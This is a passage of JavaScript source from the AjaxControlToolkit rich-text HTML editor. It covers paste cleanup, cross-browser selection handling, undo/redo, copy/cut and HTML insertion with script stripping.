                    AjaxControlToolkit.HTMLEditor.operateAnchors(editor, editor._doc, !editor._editPanel.get_showAnchors());
                    AjaxControlToolkit.HTMLEditor.operatePlaceHolders(editor, editor._doc, !editor._editPanel.get_showPlaceHolders());
                    AjaxControlToolkit.HTMLEditor.inspectForShadows(editor._doc.body);
                    editor._checkImages(editor._doc.body);
                    editor.onContentChanged();
                }, 0);
            } else {
                var place = editor._getSafePlace();

                if (place != null) {
                    var div = editor._doc.createElement("div");
                    div.style.display = "inline";
                    div.style.borderStyle = "none";
                    place.parentNode.insertBefore(div, place);
                    div.appendChild(place);
                    div.removeChild(place);
                    div.innerHTML = "xx";
                    var sel = editor._getSelection();
                    var rng = editor._createRange();
                    editor._removeAllRanges(sel);
                    rng.setStart(div.firstChild, 0);
                    rng.setEnd(div.firstChild, 1);
                    editor._selectRange(sel, rng);
                    editor.openWait();

                    setTimeout(function() {
                        var parent = div.parentNode;
                        div.lastChild.deleteData(div.lastChild.length - 1, 1);

                        if (editor.isWord) {
                            div.innerHTML = AjaxControlToolkit.HTMLEditor.cleanUp(div.innerHTML);
                            AjaxControlToolkit.HTMLEditor.replaceOldTags(div, editor);
                            AjaxControlToolkit.HTMLEditor.spanJoiner(div, editor._doc);
                        } else {
                            var div1 = document.createElement("div");
                            div1.innerHTML = AjaxControlToolkit.HTMLEditor.cleanUp(div.innerHTML);

                            var html = new AjaxControlToolkit.HTMLEditor.jsDocument(true);
                            AjaxControlToolkit.HTMLEditor.__MozillaGetInnerText(div1, html);

                            div.innerHTML = html.toString().replace(/</g, "&lt;").replace(/>/g, "&gt;").replace(/\r/g, "").replace(/\n/g, "<br/>").replace(/\t/g, "&nbsp;");
                            delete div1;
                        }

                        while (div.firstChild) {
                            parent.insertBefore(div.firstChild, div);
                        }

                        var ns = null;
                        var ps = null;
                        if (div.nextSibling && div.nextSibling.nodeType == 3 && div.previousSibling && div.previousSibling.nodeType == 3) {
                            ns = div.nextSibling;
                            ps = div.previousSibling;
                        }

                        parent.removeChild(div);
                        var pslength = null;
                        if (ns != null && ps != null) {
                            pslength = ps.data.length;
                            ps.data = "" + ps.data + "" + ns.data + "";
                            ns.parentNode.removeChild(ns);
                        }

                        editor.isWord = false;
                        editor.isPlainText = false;
                        editor.closeWait();

                        if (pslength != null) {
                            var sel = editor._getSelection();
                            var rng = editor._createRange();
                            editor._removeAllRanges(sel);
                            rng.setStart(ps, pslength);
                            rng.setEnd(ps, pslength);
                            editor._selectRange(sel, rng);
                        }

                        editor.onContentChanged();
                    }, 0);
                }
                else {
                    AjaxControlToolkit.HTMLEditor._stopEvent(ev);
                }
            }
        }
    },

    _selectRange: function(sel, range) {
        sel.addRange(range);
        this.focusEditor();
    },

    _selectRng: function(rng) {
        var sel = this._getSelection();

        if (!AjaxControlToolkit.HTMLEditor.isIE) {
            var range = this._doc.createRange();
            range.setStart(rng[0], 0);
            range.setEnd(rng[rng.length - 1], ("" + rng[rng.length - 1].data + "").length);

            this._removeAllRanges(sel);
            this._selectRange(sel, range);
        } else {
            var range1 = this._createRange(sel);
            var range2 = this._createRange(sel);

            var span1 = this._doc.createElement("span");
            var span2 = this._doc.createElement("span");

            rng[0].parentNode.insertBefore(span1, rng[0]);

            if (rng[rng.length - 1].nextSibling) {
                rng[rng.length - 1].parentNode.insertBefore(span2, rng[rng.length - 1].nextSibling);
            } else {
                rng[rng.length - 1].parentNode.appendChild(span2);
            }

            try {
                range1.moveToElementText(span1);
                var ii = range1.moveStart('character', 1);
                range1.moveStart('character', -ii);

                range2.moveToElementText(span2);
                ii = range2.moveEnd('character', -1);
                range2.moveEnd('character', -ii);

                range1.setEndPoint("EndToEnd", range2);
                range1.select();
            } catch (e) { }

            rng[0].parentNode.removeChild(span1);
            rng[rng.length - 1].parentNode.removeChild(span2);
        }
    },

    _removeAllRanges: function(sel) {
        sel.removeAllRanges();
    },

    _setToEnd: function() {
        var editor = this;
        setTimeout(function() {
            editor._setToEnd_();
            editor._editPanel.updateToolbar();
        }, 0);
    },

    _setToEnd_: function() {
        var editor = this;

        if (AjaxControlToolkit.HTMLEditor.isIE) {
            var sel = editor._getSelection();
            var range = editor._createRange(sel);

            if (sel.type.toLowerCase() != "control") {
                range.moveEnd("textedit", 1);
                range.collapse(false);
            }
            range.select();

            editor.focusEditor();
            return;
        }

        var index = 0;
        var container = editor._doc.body;
        var anchor = null;

        if (container.lastChild && container.lastChild.nodeType == 3) {
            container = container.lastChild;
            index = ("" + container.data + "").length;
        } else {
            var tempText = editor._doc.createTextNode("");
            if (container.lastChild && container.lastChild.nodeType == 1 && container.lastChild.tagName.toUpperCase() == "BR") {
                container.insertBefore(tempText, container.lastChild);
            } else {
                container.appendChild(tempText);
            }
            container = tempText;
            index = 0;
        }

        var sel = editor._getSelection();
        editor._removeAllRanges(sel);
        var range = editor._createRange();

        range.setStart(container, index);
        range.setEnd(container, index);

        editor._selectRange(sel, range);

        if (anchor != null) {
            editor._doc.body.removeChild(anchor);
        }

        editor.focusEditor();

        if (!AjaxControlToolkit.HTMLEditor.isSafari && !AjaxControlToolkit.HTMLEditor.isOpera) {
            try {
                var anchor = editor._doc.createElement("button");
                anchor.style.width = "0px";
                anchor.style.height = "20px";
                editor._doc.body.appendChild(anchor);

                anchor.focus();

                anchor.blur();
                editor.focusEditor();
                editor._doc.body.removeChild(anchor);
            } catch (e) { }
        }
    },

    isShadowed: function() {
        if (!this.isControl()) return false;

        var sel = this._getSelection();
        var range = this._createRange(sel);
        var element;

        if (AjaxControlToolkit.HTMLEditor.isIE) {
            element = range.item(0);
        } else {
            element = range.startContainer.childNodes.item(range.startOffset);
        }

        if (element.tagName &&
            element.tagName.toUpperCase() == "IMG" &&
            element.getAttribute(AjaxControlToolkit.HTMLEditor.attachedIdAttribute) &&
            element.getAttribute(AjaxControlToolkit.HTMLEditor.attachedIdAttribute).length > 0
        ) {
            var shadowNode = this.getAttachedElement(element);

            if (shadowNode != null) {
                if (AjaxControlToolkit.HTMLEditor.isIE) {
                    range = this._doc.body.createControlRange();
                    range.add(shadowNode);
                    range.select();
                } else {
                    try {
                        var index = AjaxControlToolkit.HTMLEditor.__getIndex(shadowNode);
                        sel.collapseToEnd();
                        this._removeAllRanges(sel);
                        range = this._createRange(sel);
                        range.setStart(shadowNode.parentNode, index);
                        range.setEnd(shadowNode.parentNode, index + 1);
                        this._selectRange(sel, range);
                    } catch (e) {
                        return true;
                    }
                }
                return false;
            }
            return true;
        }
        return false;
    },

    _ifShadow: function() {
        if (AjaxControlToolkit.HTMLEditor.isIE) {
            try {
                var selka = this._doc.selection;
            } catch (e) {
                return false;
            }
        }

        var editor = this;
        var prot = null;
        var el = AjaxControlToolkit.HTMLEditor.getSelParent(editor);

        while (el && (el.nodeType == 3 || (el.tagName && el.tagName.toUpperCase() != "BODY"))) {
            if (el.nodeType == 3 || !el.tagName) {
                el = el.parentNode;
                continue;
            }
            var tagName = el.tagName.toUpperCase()

            if (tagName == "TABLE" && el.getAttribute(AjaxControlToolkit.HTMLEditor.noContextMenuAttribute) &&
                el.getAttribute(AjaxControlToolkit.HTMLEditor.noContextMenuAttribute) == "yes") {
                prot = el.rows.item(0).cells.item(0).firstChild;
                if (AjaxControlToolkit.HTMLEditor.isIE && tagName == "P") {
                    prot = prot.firstChild;
                }
                break;
            }

            el = el.parentNode;
        }

        if (prot != null) {
            var sel = editor._getSelection();
            var range = editor._createRange(sel);

            if (AjaxControlToolkit.HTMLEditor.isIE) {
                range = editor._doc.body.createControlRange();
                range.add(prot);
                range.select();
            } else {
                try {
                    sel.collapseToEnd();
                    editor._removeAllRanges(sel);
                    range = editor._createRange(sel);
                    range.setStart(prot.parentNode, 0);
                    range.setEnd(prot.parentNode, 1);
                    editor._selectRange(sel, range);
                } catch (e) { }
            }
        }
    },

    _saveContent: function() {
        var sel;
        var range;
        var marker;

        try {
            try {
                sel = this._getSelection();
                range = this._createRange(sel);
            } catch (e) { }

            marker = new AjaxControlToolkit.HTMLEditor._Marker(this, range, sel);
        } catch (e) {
            return;
        }

        if (!this.__stack) {
            this.__stack = [];
            this.__stackPos = 0;
        }

        while (this.__stackPos < this.__stack.length) {
            this.__stack.pop();
        }

        if (this.__stack.length == AjaxControlToolkit.HTMLEditor.__stackMaxSize) {
            this.__stack.reverse();
            this.__stack.pop();
            this.__stack.reverse();
        }

        this.__stack.push(marker);
        this.__stackPos = this.__stack.length;
    },

    _restoreContent: function() {
        if (this.__stack && this.__stackPos >= 0 && this.__stackPos < this.__stack.length) {
            var obj = this.__stack[this.__stackPos];
            var sel;
            var range;

            if (AjaxControlToolkit.HTMLEditor.isIE) {
                function rep(p0, p1, p2, p3, p4) {
                    return p1.replace(/\salign=[^\s>]*/ig, "") + ((p3 == '"X"') ? "" : ("align=" + p3)) + p4.replace(/\salign=[^\s>]*/ig, "");
                }

                var tempCollection = this._doc.body.getElementsByTagName("EMBED");

                var els = [];
                for (var i = 0; i < tempCollection.length; i++) {
                    els.push(tempCollection[i]);
                }

                for (var jk = 0; jk < els.length; jk++) {
                    els[jk].parentNode.removeChild(els[jk]);
                }

                var tuk = obj._save.replace(/&amp;/ig, "&");
                tuk = tuk.replace(/(<embed(?:.*?))(teoalign=)(\"[^\"]*\")((?:.*?)>)/ig, rep);
                this._doc.body.innerHTML = "!!!<span></span>" + AjaxControlToolkit.HTMLEditor.Trim(tuk);

                if (this._doc.body.firstChild) {
                    this._doc.body.removeChild(this._doc.body.firstChild);
                }
                if (this._doc.body.firstChild) {
                    this._doc.body.removeChild(this._doc.body.firstChild);
                }

                var mArr = AjaxControlToolkit.HTMLEditor.getHrefsText(tuk);
                AjaxControlToolkit.HTMLEditor.setHrefsText(this._doc.body, mArr);

                if (this._editPanel.get_relativeImages()) {
                    mArr = AjaxControlToolkit.HTMLEditor.getImagesText(tuk);
                    AjaxControlToolkit.HTMLEditor.setImagesText(this._doc.body, mArr);
                }

                AjaxControlToolkit.HTMLEditor.setNames(this._doc.body, obj._nArr);

                AjaxControlToolkit.HTMLEditor.operateAnchors(this, this._doc, !this._editPanel.get_showAnchors());
                AjaxControlToolkit.HTMLEditor.operatePlaceHolders(this, this._doc, !this._editPanel.get_showPlaceHolders());

                if (obj._tree != null) {
                    var el = this._doc.body;
                    var i;
                    try {
                        for (i = obj._tree.length - 1; i >= 0; i--) {
                            el = el.childNodes.item(obj._tree[i]);
                        }
                    } catch (e) {
                        if (this.__stackPos > 0) {
                            this.__stackPos--;
                            this._restoreContent();
                            this.__stackPos++;
                        }
                        return;
                    }

                    try {
                        var rng = this._doc.body.createControlRange();
                        rng.add(el);
                        rng.select();
                    } catch (e) { }
                } else {
                    var editor = this;
                    setTimeout(function() {
                        try {
                            if (editor._editPanel == AjaxControlToolkit.HTMLEditor.LastFocusedEditPanel) {
                                sel = editor._getSelection();
                                range = editor._createRange(sel);
                                if (sel.type.toLowerCase() != "control") {
                                    try { range.moveToPoint(obj._offsetLeft, obj._offsetTop); } catch (e) { }
                                }
                                range.select();
                            }
                        } catch (e) { }
                    }, 0);
                }
            } else {
                if (AjaxControlToolkit.HTMLEditor.isOpera) {
                    this._doc.body.innerHTML = AjaxControlToolkit.HTMLEditor.Trim(obj._save);
                } else {
                    this._doc.body.innerHTML = "";
                    for (var i = 0; i < obj._save.childNodes.length; i++) {
                        this._doc.body.appendChild(obj._save.childNodes.item(i).cloneNode(true));
                    }
                }

                AjaxControlToolkit.HTMLEditor.operateAnchors(this, this._doc, !this._editPanel.get_showAnchors());
                AjaxControlToolkit.HTMLEditor.operatePlaceHolders(this, this._doc, !this._editPanel.get_showPlaceHolders());

                try {
                    sel = this._getSelection();
                    range = this._createRange();
                    this._removeAllRanges(sel);
                } catch (e) { }
                var str = "";
                var el = this._doc.body;
                for (var i = obj._tree.length - 1; i >= 0; i--) {
                    str += " " + obj._tree[i];
                    el = el.childNodes.item(obj._tree[i]);
                }

                var n_offset = obj._offset;

                try {
                    range.setStart(el, n_offset);
                    range.setEnd(el, n_offset);
                } catch (e) {
                    AjaxControlToolkit.HTMLEditor.inspectForShadows(this._doc.body);
                    return;
                }

                try {
                    this._selectRange(sel, range);
                } catch (e) { }
            }

            try {
                AjaxControlToolkit.HTMLEditor.inspectForShadows(this._doc.body);
            } catch (e) { }
        }
    },

    SaveContent: function() {
        this._saveContent();
    },

    RestoreContent: function() {
        this._undo(false);
    },

    _undo: function(pr) {
        if (this.__stack) {
            if (this.__stackPos > 0) {
                if (this.__stackPos == this.__stack.length && pr) {
                    this._saveContent();
                }

                do {
                    var tmp = AjaxControlToolkit.HTMLEditor.Trim(this._doc.body.innerHTML);
                    this.__stackPos--;
                    this._restoreContent();
                }
                while (AjaxControlToolkit.HTMLEditor.Trim(this._doc.body.innerHTML) == tmp && this.__stackPos > 0 && pr)

                var editor = this;
                setTimeout(function() {
                    try { editor._ifShadow(); } catch (e) { };
                    if (editor._editPanel == AjaxControlToolkit.HTMLEditor.LastFocusedEditPanel) {
                        try { editor._editPanel.updateToolbar(); } catch (e) { }
                    }
                    if (!pr) editor.onContentChanged();
                }, 0);
            }
        }
    },

    _redo: function() {
        if (this.__stack) {
            if (this.__stackPos < this.__stack.length - 1) {
                this.__stackPos++;
                var editor = this;
                var tempCollectionLength;
                if (AjaxControlToolkit.HTMLEditor.isIE) {
                    tempCollectionLength = editor._doc.body.getElementsByTagName("EMBED").length;

                    if (tempCollectionLength > 0) {
                        var popup = editor._body.ownerDocument.createElement("div");
                        editor._body.appendChild(popup);

                        setTimeout(function() {
                            editor._body.removeChild(popup);
                        }, 0);
                    }
                }
                this._restoreContent();
                var editor = this;
                setTimeout(function() { editor._ifShadow(); editor._editPanel.updateToolbar(); }, 0);
            }
        }
    },

    undo: function() {
        this._undo(true);
        this.onContentChanged();
    },

    redo: function() {
        this._redo();
        this.onContentChanged();
    },

    _contextMenuCallP: function() {
    },

    onContentChanged: function() {
    },

    _copyCut: function(key, prize) {
        var editor = this;

        if (AjaxControlToolkit.HTMLEditor.isIE) {
            var sel = this._getSelection();
            var range = this._createRange(sel);
            var was = false;
            var html = "";

            if (key == 'x') {
                this._saveContent();
            }

            if (sel.type.toLowerCase() == "control") {
                was = true;
                html = AjaxControlToolkit.HTMLEditor.getHTML(range.item(0), true)
            } else {
                if (range.text != "") {
                    was = true;
                    html = range.htmlText;

                    var sr = range.duplicate();

                    var rng = this._getTextNodeCollection();

                    if (rng.length < 1) {
                        return;
                    }

                    var fnd = AjaxControlToolkit.HTMLEditor._commonParent(rng[0], rng[rng.length - 1]);

                    if (fnd != null && rng[0].previousSibling && rng[0].previousSibling.nodeType == 3) {
                        var par = fnd.parent;

                        while (par && par.tagName.toUpperCase() != "BODY" && AjaxControlToolkit.HTMLEditor.isStyleTag(par.tagName)) {
                            var ttt = par.cloneNode(false);
                            ttt.innerHTML = html;
                            html = ttt.outerHTML;
                            par = par.parentNode;
                        }
                    }
                    sel = this._getSelection();
                    sel.empty();
                    range = this._createRange(sel);
                    range.setEndPoint("EndToEnd", sr);
                    range.setEndPoint("StartToStart", sr);
                    range.select();
                } else {
                    if (range.htmlText != "") {
                        was = true;
                        html = range.htmlText;
                    }
                }
            }

            if (was) {
                var src = this._doc.createElement("DIV");
                src.innerHTML = "!!!<span></span>" + html;
                src.removeChild(src.firstChild);
                src.removeChild(src.firstChild);

                var temp = AjaxControlToolkit.HTMLEditor.getHTML(src, false, true);

                var nnreg = new RegExp("(<[/]?)(teo" + AjaxControlToolkit.HTMLEditor.smartClassName + ":)", "ig");
                temp = temp.replace(nnreg, "$1");

                delete src;
                this._contentCopy(temp, true);
                range.select();
                if (key == 'x') {
                    sel.clear();
                    this._clearP();
                }
            } else {
                if (key == 'x') {
                    sel.clear();
                    this._clearP();
                }
            }

            if (prize) {
                setTimeout(function() { editor._editPanel.updateToolbar(); }, 0);
            }
        } else {
            if (key == "x") {
                this._saveContent();
                var sel = this._getSelection();
                var range = this._createRange(sel);
                this._removeAllRanges(sel);
                range.deleteContents();

                if (this._doc.body.innerHTML == "") {
                    this._doc.body.innerHTML = "<br/>";
                    range.setStart(this._doc.body, 0);
                    range.setEnd(this._doc.body, 0);
                }

                editor.onContentChanged();
                this._selectRange(sel, range);
            } else {
                var sel = this._getSelection();
                var range = this._createRange(sel);
                this._removeAllRanges(sel);

                alert(String.format(AjaxControlToolkit.Resources.HTMLEditor_toolbar_button_Use_verb, (AjaxControlToolkit.HTMLEditor.isSafari && navigator.userAgent.indexOf("mac") != -1) ? "Apple-C" : "Ctrl-C"));
                this._selectRange(sel, range);
            }
        }
    },

    _paste: function(prize, word) {
        var editor = this;
        var sel = this._getSelection();
        var range = this._createRange(sel);
        var _left;
        var _top;

        if (!prize) {
            _left = range.offsetLeft;
            _top = range.offsetTop;

            this.insertHTML(this._getPlain());
            editor.onContentChanged();
            return;
        }

        if (this._editPanel.get_noPaste()) {
            return;
        }

        _left = range.offsetLeft;
        _top = range.offsetTop;

        var temp = this._doc.createElement("span");
        var place;
        var tText = this._contentCopy("", false, word);

        if ((/<[\/]*p[\s>]+/i.test(tText)) || (/<[\/]*h/i.test(tText))) {
            place = this._getSafePlace();
        } else {
            place = this._doc.createElement("SPAN");
            place.id = AjaxControlToolkit.HTMLEditor.smartClassName;

            if (!this.insertHTML(AjaxControlToolkit.HTMLEditor.getHTML(place, true))) {
                return;
            }

            place = this._doc.getElementById(AjaxControlToolkit.HTMLEditor.smartClassName);

            if (place) {
                place.id = null;
                place.removeAttribute("id");
                place.setAttribute("para", "no");
            }
        }

        temp.innerHTML = tText;
        if (!place) {
            return;
        }

        this._checkImages(temp);

        var par = place.parentNode;
        var pos = place.getAttribute("para");

        if (pos != "no") {
            if (pos.indexOf("left") >= 0 && temp.firstChild) {
                if (temp.firstChild.tagName && temp.firstChild.tagName.toUpperCase() == "P") {
                    while (temp.firstChild.firstChild) {
                        place.previousSibling.appendChild(temp.firstChild.firstChild);
                    }
                    temp.removeChild(temp.firstChild);
                }
            }

            if (pos.indexOf("right") >= 0 && temp.lastChild) {
                if (temp.lastChild.tagName && temp.lastChild.tagName.toUpperCase() == "P") {
                    while (temp.lastChild.lastChild) {
                        place.nextSibling.insertBefore(temp.lastChild.lastChild, place.nextSibling.firstChild);
                    }
                    temp.removeChild(temp.lastChild);
                }
            }
        }

        var saveEl = place;
        var temp1 = null;
        if (temp.childNodes.length == 0 && pos.indexOf("left") >= 0 && pos.indexOf("right") >= 0) {
            if (place.nextSibling.firstChild) {
                temp1 = this._doc.createElement("span");
                saveEl = temp1;
                temp1.innerHTML = "111";
                place.previousSibling.appendChild(temp1);
            }
            while (place.nextSibling.firstChild) {
                place.previousSibling.appendChild(place.nextSibling.firstChild);
            }
            par.removeChild(place.nextSibling);
        } else {
            while (temp.firstChild) {
                par.insertBefore(temp.firstChild, place);
            }
        }

        setTimeout(function() {
            var sel = editor._getSelection();
            var range = editor._createRange(sel);
            if (sel.type.toLowerCase() == "control") {
                while (range.length > 0) {
                    range.remove(0);
                }
            }
            try {
                range.collapse(false);
            } catch (e) { }

            editor.focusEditor();
            AjaxControlToolkit.HTMLEditor._setCursor(saveEl, editor);
            if (temp1) {
                temp1.parentNode.removeChild(temp1);
            }
            par.removeChild(place);
            AjaxControlToolkit.HTMLEditor.inspectForShadows(editor._doc.body);
            editor.onContentChanged();
            range.select();
        }, 0);
    },

    _contentCopy: function(text, prize, word) {
        if (text != "") {
            text = text.replace(/(<td[^>]*?>)([\s ]*?)(<\/td[^>]*?>)/ig, "$1&nbsp;$3")
                .replace(/(<td[^>]*?>)\s*(&nbsp;)\s*(<\/td[^>]*?>)/ig, "$1<br/>$3")
                .replace(/(<p[^>]*?>)\s*(&nbsp;)\s*(<\/p[^>]*?>)/ig, "$1<br/>$3");
        }

        var iframe = this._doc.createElement("iframe");
        iframe.width = "0";
        iframe.height = "0";
        if (AjaxControlToolkit.HTMLEditor.isIE) {
            iframe.src = "javascript:false;";
        }
        this._doc.appendChild(iframe);
        var doc = iframe.contentWindow.document;
        doc.write("<html><head></head><body>" + text + "</body></html>");
        doc.close();
        doc.body.contentEditable = true;
        var r = doc.body.createTextRange();
        var wasNbsp = false;

        if (text == "") {
            r.execCommand("paste");
            var trg = doc.createElement("DIV");
            for (var i = 0; i < doc.body.childNodes.length; i++) {
                var child = doc.body.childNodes.item(i);
                if (child.nodeType == 8) {
                    var str = "" + child.data + "";
                    if (str.search(/StartFragment/i) >= 0) {
                        if (child.nextSibling && child.nextSibling.nodeType == 3) {
                            var str = "" + child.nextSibling.data + "";
                            if (str.length) {
                                if (str.charCodeAt(0) == 160) {
                                    str = str.substr(1);
                                    child.nextSibling.data = str;
                                    wasNbsp = true;
                                    break;
                                }
                            }
                        }
                    }
                }
            }

            if (typeof word != "undefined" && word) {
                doc.body.innerHTML = AjaxControlToolkit.HTMLEditor.cleanUp(doc.body.innerHTML);
            }
            var str = AjaxControlToolkit.HTMLEditor.Trim(AjaxControlToolkit.HTMLEditor.getHTML(doc.body, false, true));
            str = str.replace(/(<script(?:[^>]*?)>(?:[^<]*?)<\/script(?:[^>]*?)>)/gi, "");
            doc.body.innerHTML = str;
            if (!prize) {
                AjaxControlToolkit.HTMLEditor.operateAnchors(this, doc, !this.showAnchors);
                AjaxControlToolkit.HTMLEditor.operatePlaceHolders(this, doc, !this.showPlaceHolders);

                var tempCollection = doc.body.getElementsByTagName("EMBED");

                var els = [];
                for (var i = 0; i < tempCollection.length; i++) {
                    els.push(tempCollection[i]);
                }

                for (var jk = 0; jk < els.length; jk++) {
                    els[jk].parentNode.removeChild(els[jk]);
                }
            }
            delete r;
            delete trg;
            if (prize && AjaxControlToolkit.HTMLEditor.isIE) {
                r = doc.body.createTextRange();
            }
        }

        if (prize && AjaxControlToolkit.HTMLEditor.isIE) {
            if (text != "") {
                AjaxControlToolkit.HTMLEditor.operateAnchors(this, doc, true);
                AjaxControlToolkit.HTMLEditor.operatePlaceHolders(this, doc, true);
            }
            r.select();
            r.execCommand("copy");
        }

        var ret = AjaxControlToolkit.HTMLEditor.Trim(doc.body.innerHTML)
            .replace(/<br\s*[\/]*>\s*<\/td>/ig, "</td>")
            .replace(/(<td[^>]*?>)([\s ]*?)(<\/td[^>]*?>)/ig, "$1&nbsp;$3")
            .replace(/(<p[^>]*?>)\s*(<br[^>]*?>)\s*(<\/p[^>]*?>)/ig, "$1&nbsp;$3")
            .replace(/(<embed(?:.*?))(wmode=)(\"[^\"]*\")((?:.*?)>)/ig, "$1pseudomode=$3$4")
            .replace(/(<embed)([^>]*?>)/ig, "$1 wmode=\"transparent\"$2");
        var tempCollection = doc.body.getElementsByTagName("EMBED");
        var els = [];
        for (var i = 0; i < tempCollection.length; i++) {
            els.push(tempCollection[i]);
        }

        for (var jk = 0; jk < els.length; jk++) {
            els[jk].parentNode.removeChild(els[jk]);
        }

        iframe.src = "";
        var editor = this;
        editor._doc.removeChild(iframe);
        delete iframe;

        return ret;
    },

    insertHTML: function(html, range) {
        this.focusEditor();
        var sel = this._getSelection();
        if (typeof range == "undefined") {
            range = this._createRange(sel);
        }

        if (AjaxControlToolkit.HTMLEditor.isIE) {
            function regReplScript(p0, p1) {
                return "<span class=\"" + AjaxControlToolkit.HTMLEditor.smartClassName + "_script\" style='display:none;visibility:hidden;'>" + p1.replace(/&/g, "&amp;").replace(/</g, "&lt;").replace(/>/g, "&gt;") + "</span>";
            }

            function regReplFromScript(p0, p1, p2, p3) {
                return p1.replace(/&gt;/g, ">").replace(/&lt;/g, "<").replace(/&amp;/g, "&");
            }
            var new_html = "<span id=\"" + AjaxControlToolkit.HTMLEditor.smartClassName + "\">111<span></span>" + html + "</span>";

            var mArr = AjaxControlToolkit.HTMLEditor.getHrefsText(new_html);
            var mArr1 = AjaxControlToolkit.HTMLEditor.getImagesText(new_html);

            if (!this._editPanel.get_noScript()) {
                new_html = new_html.replace(/(<script(?:[^>]*?)>.*?<\/script(?:[^>]*?)>)/gi, regReplScript);
            } else {
                new_html = new_html.replace(/(<script(?:[^>]*?)>.*?<\/script(?:[^>]*?)>)/gi, "");
            }

            var editor = this;
            try {
                if (range.pasteHTML) {
                    range.pasteHTML(new_html);
                } else {
                    var div = this._doc.createElement("DIV");
                    div.innerHTML = new_html;
                    while (div.firstChild) range(0).parentNode.insertBefore(div.firstChild, range(0));
                    range(0).parentNode.removeChild(range(0));
                    range.remove(0);
                    delete div;
                }
            } catch (e) {
                return false;
            }

            var trg = this._doc.getElementById(AjaxControlToolkit.HTMLEditor.smartClassName);


            trg.innerHTML = "<span>qqq</span>" + AjaxControlToolkit.HTMLEditor.getHTML(trg, false, true).replace(new RegExp("<span(?:[^>]*?)class=" + AjaxControlToolkit.HTMLEditor.smartClassName + "_script(?:[^>]*?)>(.*?)<\/span(?:[^>]*?)>", "gi"), regReplFromScript) + "<span>qqq</span>";

            trg.removeChild(trg.firstChild);
            trg.removeChild(trg.lastChild);

            AjaxControlToolkit.HTMLEditor.setHrefsText(trg, mArr);
            AjaxControlToolkit.HTMLEditor.setImagesText(trg, mArr1);

            if (trg.firstChild) {
                trg.removeChild(trg.firstChild);
            }
            if (trg.firstChild) {
                trg.removeChild(trg.firstChild);
            }

            while (trg.firstChild) {
                trg.parentNode.insertBefore(trg.firstChild, trg);
            }
            trg.parentNode.removeChild(trg);
            delete trg;

            return true;
        } else {
            var div = this._doc.createElement("div");
            div.innerHTML = html;

            var tempCollection = div.getElementsByTagName("EMBED");

            var embedCollection = [];
            for (var i = 0; i < tempCollection.length; i++) {
                embedCollection.push(tempCollection[i]);
            }

            for (var j = 0; j < embedCollection.length; j++) {
                var embed = embedCollection[j];
                var img = document.createElement("IMG");
                var attrs = embed.attributes;

                img.src = this._images_list[1];
                img.setAttribute("dummytag", "embed");

                for (var i = 0; i < attrs.length; ++i) {
                    var a = attrs.item(i);
                    if (!a.specified) continue;

                    var name = a.name.toLowerCase();
                    var value = a.value;

                    if (name == "src")
                        name = "dummysrc";
                    else if (name == "bgcolor")
                        name = "dummybgcolor";
                    else if (name == "wmode")
                        name = "pseudomode";

                    img.setAttribute(name, value);
                }
                img.getAttribute("type")
                img.style.cssText = "border: 1px dotted #000000; background-image: url('" + (img.getAttribute("type").toLowerCase() == "application/x-mplayer2" ? this._images_list[3] : this._images_list[2]) + "'); background-position: center; background-repeat: no-repeat; background-color: #c0c0c0;";

                embed.parentNode.insertBefore(img, embed);
                embed.parentNode.removeChild(embed);
            }

            var ret = this.insertNodeAtSelection(div, range);
            return ret;
        }
    },

    insertNodeAtSelection: function(toBeInserted, range) {
        if (!AjaxControlToolkit.HTMLEditor.isIE) {
            var sel = this._getSelection();
            if (typeof range == "undefined") {
                try {
                    range = this._createRange(sel);
                } catch (ex) {
                    this._removeAllRanges(sel);
                    return false;
                }
            }

            var node = range.startContainer;
            var pos = range.startOffset;
            if (node.ownerDocument.id != "EditorDocument") {
                return false;
            }

            if ((range.startContainer.nodeType == 1 && range.startContainer.tagName.toUpperCase() == "TR") ||
                (range.endContainer.nodeType == 1 && range.endContainer.tagName.toUpperCase() == "TR")) {
                return false;
            }

            this._removeAllRanges(sel);
            range.deleteContents();
            try {
                range = this._createRange();
            } catch (ex) {
                this._removeAllRanges(sel);
                return false;
            }

            switch (node.nodeType) {
                case 3:
                    if (pos > 0) node = node.splitText(pos);
                    while (toBeInserted.firstChild) {
                        node.parentNode.insertBefore(toBeInserted.firstChild, node);
                    }
                    range.setStart(node, 0);
                    range.setEnd(node, 0);
                    break;
                case 1:
                case 11:
                    try {
                        this._removeAllRanges(sel);
                        if (node.childNodes.length >= pos + 1) {
                            node = node.childNodes.item(pos);
                            while (toBeInserted.firstChild) {
                                node.parentNode.insertBefore(toBeInserted.firstChild, node);
                            }
                            var tempText = this._doc.createTextNode("");
                            node.parentNode.insertBefore(tempText, node);
                            node = tempText;
                        } else {
                            var tempText = this._doc.createTextNode("");

                            if (AjaxControlToolkit.HTMLEditor.canHaveChildren(node)) {
                                while (toBeInserted.firstChild) {
                                    node.appendChild(toBeInserted.firstChild);
                                }
                                node.appendChild(tempText);
                            } else {
                                while (toBeInserted.firstChild) {
                                    node.parentNode.insertBefore(toBeInserted.firstChild, node);
                                }
                                node.parentNode.insertBefore(tempText, node);
                            }

                            node = tempText;
                        }

                        if (node.nodeType == 1) {
                            var par = node.parentNode;
                            var container = par;
                            var j = 0;

                            for (; j < par.childNodes.length; j++) {
                                if (node == par.childNodes.item(j)) {
                                    break;
                                }
                            }
                            range.setStart(par, j);
                            range.setEnd(par, j);
                        } else {
                            range.setStart(node, 0);
                            range.setEnd(node, 0);
                        }
                    } catch (ex) {
                        this._removeAllRanges(sel);
                        return false;
                    }
                    break;
            }

            this._selectRange(sel, range);
            return true;
        } else {
            return false;
        }
    },

    trickWithStyles: function(tid) {
        var editor = this;
        var el = editor._doc.getElementById(tid);
        if (el != null) {
            if (el.nextSibling && el.nextSibling.nodeType == 3) {
                var text = el.nextSibling;
                el.parentNode.removeChild(el);

                var spaceIndex = ("" + text.data + "").indexOf(" ");
                if (spaceIndex > 0) {
                    text.splitText(spaceIndex);
                } else {
                    if (spaceIndex == 0) {
                        text.splitText(1);
                    }
                }

                if (editor.n_arr != null) {
                    for (var im = 0; im < editor.n_arr.length; im++) {
                        editor.MSIE_applyCssStyle(editor.n_arr[im], [text], false);
                    }
                }
                editor.n_arr = null;

                var sel = editor._getSelection();

                if (!AjaxControlToolkit.HTMLEditor.isIE) {
                    var range = editor._doc.createRange();
                    range.setStart(text, text.length);
                    range.setEnd(text, text.length);

                    editor._removeAllRanges(sel);
                    editor._selectRange(sel, range);
                } else {
                    var range1 = editor._createRange(sel);

                    var span1 = editor._doc.createElement("span");

                    if (text.nextSibling) {
                        text.parentNode.insertBefore(span1, text.nextSibling);
                    } else {
